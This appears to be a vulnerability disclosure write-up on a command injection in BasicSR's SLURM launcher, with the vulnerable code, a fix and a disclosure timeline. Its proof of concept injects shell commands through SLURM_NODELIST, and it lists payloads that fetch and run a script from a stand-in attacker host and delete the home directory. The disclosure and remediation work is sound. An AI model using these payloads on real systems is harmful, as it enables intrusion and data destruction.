I reported CVE-2024-27763 (CVSS 5.3) to the BasicSR maintainers in March 2025. It’s a command injection in BasicSR, a widely used PyTorch toolbox for image and video super-resolution. Versions up to and including 1.4.2 take the SLURM_NODELIST environment variable and drop it straight into a shell command without escaping. If you control that variable, you control the shell. GitHub published the advisory as GHSA-86w8-vhw6-q9qq on March 12, 2025. No patched version exists yet.

Background

I found this while grepping subprocess.getoutput(f' across popular ML repos; BasicSR was the first hit where the interpolated variable actually came from an attacker-influenceable source.

BasicSR has a distributed training entry point that supports two launchers: PyTorch’s own and SLURM. The SLURM path needs to know which node is the master, so it asks scontrol to expand the node list:

scontrol show hostname compute-[01-04] | head -n1

The node list (compute-[01-04] here) comes from SLURM at launch time. The first hostname becomes the rendezvous address for torch.distributed. That part is fine; the problem is how the code calls out to scontrol.

Vulnerable code

basicsr/utils/dist_util.py, in _init_dist_slurm, line 44:

def _init_dist_slurm(backend, port=None):
    proc_id = int(os.environ['SLURM_PROCID'])
    ntasks = int(os.environ['SLURM_NTASKS'])
    node_list = os.environ['SLURM_NODELIST']
    num_gpus = torch.cuda.device_count()
    torch.cuda.set_device(proc_id % num_gpus)
    addr = subprocess.getoutput(f'scontrol show hostname {node_list} | head -n1')
    ...

Three things are happening on the addr = line, and only one of them is what the author intended:

  1. node_list is read from the environment.
  2. It’s interpolated into a string with no quoting.
  3. The string is handed to subprocess.getoutput, which runs it through /bin/sh -c.

subprocess.getoutput is a thin wrapper around subprocess.Popen(..., shell=True). Anything the shell would interpret (backticks, $(), ;, &&, |, > ) is interpreted. There is no sanitisation. The author just wanted the first hostname.

Proof of concept

Set SLURM_NODELIST to anything the shell will execute and trigger the SLURM init path. The other env vars don’t matter for demonstrating the injection; they’re checked before the vulnerable line but the failure mode (ValueError on int(...)) happens after the shell command already ran.

# Step 1: stage a payload via SLURM_NODELIST
export SLURM_PROCID=0
export SLURM_NTASKS=1
export SLURM_NODELIST='$(id > /tmp/pwned)'

# Step 2: trigger the SLURM init path
python3 -c "
from basicsr.utils.dist_util import _init_dist_slurm
try:
    _init_dist_slurm('nccl')
except Exception:
    pass
"

# Step 3: confirm
cat /tmp/pwned
# uid=1000(yunus) gid=1000(yunus) groups=1000(yunus),...

The shell expands $(id > /tmp/pwned) before scontrol show hostname ever gets a chance to fail on the empty input. The Python exception that follows is cosmetic; the command already ran with whatever privileges the training job has.

The same shape works for anything: ;curl attacker.tld/x.sh|sh;#, &&rm -rf ~, you pick. The shell doesn’t care.

Impact

This is local-only and needs control over SLURM_NODELIST, so the practical risk depends entirely on who can set that variable in your environment:

  • Multi-tenant SLURM clusters where users submit jobs that import BasicSR: any user can craft a job script that exports a malicious SLURM_NODELIST before launching training, escalating from their own job into whatever account the BasicSR-using job runs under (often shared compute users).
  • CI/CD pipelines that run BasicSR with environment variables sourced from job parameters or external config: an attacker who can influence those parameters gets command execution on the runner.
  • Docker / Kubernetes images where SLURM_NODELIST is set from a downstream value (a label, an annotation, a workflow input): same story.

If you only ever run BasicSR on your own laptop with hand-set env vars, you’re not exposed. If you run it on shared infrastructure, you are.

The fix

Don’t shell out. scontrol show hostname accepts the node list as argv, so pass it as a list and let Python skip the shell entirely:

import subprocess

result = subprocess.run(
    ['scontrol', 'show', 'hostname', node_list],
    capture_output=True,
    text=True,
    check=True,
)
addr = result.stdout.splitlines()[0]

That removes shell=True, removes the interpolation, removes the | head -n1 pipe (Python can take the first line), and removes the entire attack surface. node_list is still attacker-controlled in the multi-tenant case, but execve will not interpret $(...). The worst an attacker can do now is pass a node list that scontrol doesn’t recognise, which fails loudly.

If you absolutely need the shell pipeline, at least validate that node_list matches the SLURM node syntax (^[a-zA-Z0-9_\-\[\],]+$) and reject anything else. But the subprocess.run form is shorter and safer, so use it.

Why this pattern keeps showing up

Three things make this keep happening. subprocess.getoutput reads as innocent: it looks like a string operation, and the fact that it shells out is buried in the docs. f-strings make injection feel like formatting; f'cmd {var}' looks structural, so the developer thinks about the shape of the command instead of who controls var. And environment variables get implicitly trusted: code that would never trust request.GET['x'] happily trusts os.environ['X']. In single-tenant contexts that is fine; in shared infrastructure it isn’t.

CWE-77 covers this whole class. Every Python security checklist tells you not to do it. It still ships, because the line subprocess.getoutput(f'... {var} ...') looks too small to be dangerous. BasicSR is still on 1.4.2. The line is still there. Pin your dependency or don’t run it on shared infrastructure.

Disclosure timeline

  • March 11, 2025: I reported the issue via GitHub Security Advisory on the BasicSR repository.
  • March 12, 2025: CVE-2024-27763 published. GHSA-86w8-vhw6-q9qq assigned. CVSS 5.3.
  • March 13, 2025: Reviewed.
  • September 2026: Still no patched release. The vulnerable code remains at HEAD as of writing.

References